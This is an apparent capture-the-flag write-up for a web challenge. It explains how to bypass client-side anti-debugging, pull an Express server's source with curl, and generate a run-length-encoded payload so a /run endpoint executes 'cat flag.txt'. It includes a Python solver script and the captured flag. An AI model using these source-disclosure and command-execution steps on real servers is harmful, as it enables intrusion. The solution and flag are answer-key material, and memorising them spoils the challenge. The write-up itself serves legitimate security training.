Overview
The web page is protected by various client-side defenses, including blocking Developer Tools, infinite debugger traps in a setInterval loop, and disabling context menu options. These are all client-side restrictions and can be bypassed by communicating directly with the backend API.
Reconnaissance
By probing common Node.js file paths, we find that the Express server serves files statically:
curl http://<host>/server.jsThe full source of server.js shows the /run endpoint validates command execution by passing input through a custom run-length decoder function:
function expectedRepeat(asciiVal, position) {
return ((asciiVal % 5) + 3) + (position % 3);
}Exploitation Strategy
Each character in the payload input must appear consecutively exactly the number of times returned by expectedRepeat(asciiVal, position). The final decoded string must match exactly cat flag.txt.
We can write a simple Python script to generate the required repetition counts for each character.
Solution Code
TARGET = 'cat flag.txt'
def expected_repeat(ascii_val, position):
return ((ascii_val % 5) + 3) + (position % 3)
payload = ''
for pos, ch in enumerate(TARGET):
count = expected_repeat(ord(ch), pos)
payload += ch * count
print(f"Payload: {payload}")Flag
Kaal{r2p2t1t1on_add1ct10n_d2t2ct2d_2dd8cf5c}